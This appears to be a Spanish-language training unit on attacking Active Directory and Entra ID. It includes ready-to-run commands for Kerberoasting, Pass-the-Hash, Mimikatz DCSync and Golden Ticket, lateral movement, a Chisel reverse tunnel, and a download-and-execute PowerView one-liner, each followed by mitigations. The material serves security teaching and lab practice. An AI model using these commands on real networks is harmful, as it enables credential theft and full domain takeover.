🔐 Unidad 4: Hacking de Identidad y AD Moderno

Active Directory

🎯 Objetivos de Aprendizaje

  • Evaluar la seguridad de entornos Active Directory.
  • Explotar vulnerabilidades comunes en AD (Kerberoasting, Pass-the-Hash, Golden Ticket).
  • Auditar configuraciones de Azure AD / Entra ID.
  • Ejecutar técnicas de pivoting y lateral movement.

📚 Contenido Teórico

🔐 4.1 Active Directory Fundamentals

Active Directory (AD) es el servicio de directorio de Microsoft que gestiona identidades y recursos en redes empresariales. Es el objetivo principal en evaluaciones de seguridad corporativas.

🔧 Arquitectura de AD

Componentes clave:

  • Domain: Zona administrativa que comparte políticas de seguridad
  • Forest: Colección de dominios que comparten esquema y configuración
  • Organizational Units (OU): Contenedores lógicos para organización
  • Objects: Usuarios, equipos, grupos, impresoras, etc.
  • Domain Controllers (DC): Servidores que autentican y almacenan AD

Árbol de AD:

Forest (contoso.com)
  └── Domain (contoso.com)
    └── OU: IT
      └── OU: Servers
        └── OU: Workstations

🔑 Protocolos de Autenticación

Kerberos: - Protocolo default en AD moderno - Tickets TGT (Ticket Granting Ticket) - Tickets de servicio (ST) - Puerto 88 (TCP/UDP)

NTLM: - Legacy, aún habilitado en muchos entornos - Challenge-Response - Vulnerable a Pass-the-Hash

LDAP: - Protocolo de acceso a directorio - Puertos 389 (LDAP) y 636 (LDAPS) - Autenticación simple y SASL

🤝 Trusts y Relaciones de Confianza

  • Parent-Child: Entre dominios en mismo forest
  • Forest Trust: Entre forests diferentes
  • External Trust: Dominios no-Windows
  • Shortcut Trust: Para optimizar autenticación

⚔️ 4.2 AD Attacks

🎯 Kerberoasting

Concepto: Solicitar tickets de servicio (TGS) para crackear offline.

Flujo de ataque: 1. Enumerar usuarios con SPN (Service Principal Name) 2. Solicitar TGS para el servicio 3. Crackear el ticket cifrado con AES/RC4

Comandos con Impacket:

# GetUserSPNs.py - Kerberoasting
python3 GetUserSPNs.py contoso.com/username:password -request

# Usando Kerberoast
GetUserSPNs.py -dc-ip 10.10.10.10 contoso.com/username

Crackeo:

hashcat -m 13100 hash.txt wordlist.txt
john --format=krb5tgs hash.txt

Mitigación 🛡️: - Usar cuentas managed service (gMSA) - Contraseñas fuertes para cuentas con SPN - Monitorear eventos 4769 (TGS solicitado)

🔓 AS-REP Roasting

Concepto: Solicitar TGT sin pre-authentication para usuarios que la tienen deshabilitada.

Detección:

# Con Impacket
python3 GetNPUsers.py contoso.com/ -usersfile users.txt

Mitigación: - Habilitar Kerberos Pre-Authentication - Monitorear eventos 4768

🐛 Pass-the-Hash (PtH)

Concepto: Autenticarse usando el hash NTLM en lugar de la contraseña.

Con CrackMapExec:

# ejecutar comando
crackmapexec smb 10.10.10.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x whoami

# ejecutar Mimikatz
crackmapexec smb 10.10.10.10 -u admin -H hash --mimikatz

Con impacket-psexec:

python3 psexec.py contoso.com/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Mitigación 🛡️: - Enable Protected Users group - Disable NTLM authentication - Use Credential Guard - Network segmentation

🎫 Golden Ticket

Concepto: Crear un TGT falso usando el hash del krbtgt account.

Creación con Mimikatz:

# En un DC comprometido
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.com /user:krbtgt"

# Crear golden ticket
mimikatz.exe "kerberos::golden /domain:contoso.com /sid:S-1-5-21-xxx /krbtgt:hash /id:500"

Mitigación: - Reset krbtgt password 2 veces - Monitorizar eventos de creación de tickets - Disable ticket delegation

🔄 DCSync

Concepto: Simular ser un DC para sincronizar datos de directorio.

Con Mimikatz:

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.com /user:administrator"

Mitigación: - Restringir replication rights - Monitorizar eventos 4662 - Usar Protected Groups


☁️ 4.3 Azure AD / Entra ID

Azure AD (ahora Entra ID) es el servicio de identidad cloud de Microsoft.

⚠️ Vulnerabilidades Comunes

Token Theft: - Tokens en URL - Tokens en localStorage (XSS) - Token de refresh robado

OAuth/OAuth2 Misconfigurations: - Redirect URI bypass - Consent phishing - Token leakage

Conditional Access Bypass: - IP bypass - Device compliance bypass - MFA fatigue

🔧 Herramientas

AADInternals:

# Instalar
Install-Module AADInternals

#Enumeración
Get-AADIntLoginInformation

ROADtools:

# Token manipulation
roadrecon auth --device-code
roadrecon dump

Mitigación 🛡️: - Enable Conditional Access - Require MFA - Monitor sign-in logs - Configure token lifetime


🔀 4.4 Pivoting

Una vez comprometido un sistema, el pivoting permite acceder a redes internas.

↔︎️ Lateral Movement

SMB/Windows:

# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u user -p password -x "whoami"

# smbexec
python3 smbexec.py domain/user:pass@target

WMI:

# impacket-wmiexec
python3 wmiexec.py domain/user:pass@target

WinRM:

# evil-winrm
evil-winrm -i target -u user -p password

🔗 Proxy Chaining

Chisel:

# Server (atacante)
chisel server -p 8080

# Client (victima)
chisel client 10.10.10.5:8080 R:socks

Proxychains:

# Configurar /etc/proxychains4.conf
proxychains nmap -sT -p- 10.10.10.20

🔀 Port Forwarding

SSH:

# Local forward
ssh -L 8080:localhost:80 user@target

# Remote forward
ssh -R 8080:localhost:80 user@target

Plink:

plink.exe -L 8080:localhost:80 user@target

🛠️ Herramientas

Herramienta Propósito Instalación
BloodHound CE Grafico de relaciones AD bloodhound.io
Impacket Colección de scripts Python pip install impacket
CrackMapExec Automatización de attacks pip install crackmapexec
Mimikatz Credential dumping github.com/gentilkiwi
Rubeus Kerberos attacks github.com/GhostPack/Rubeus
PowerView Enumeración AD IEX (New-Object Net.WebClient).DownloadString()
AADInternals Azure AD analysis Install-Module AADInternals
ROADtools Azure AD exploitation pip install roadrecon

🔬 Laboratorio

Ver labs/lab-unidad4.md para el escenario completo.

Escenario: Comprometer un dominio Windows en entorno de laboratorio con servicios de Active Directory expuestos: 1. Enumeración inicial 2. Kerberoasting 3. Pass-the-Hash 4. Escalamiento a Domain Admin

Entregable: Documentar kill chain completo con screenshots.


📚 Recursos Adicionales


📖 Bibliografía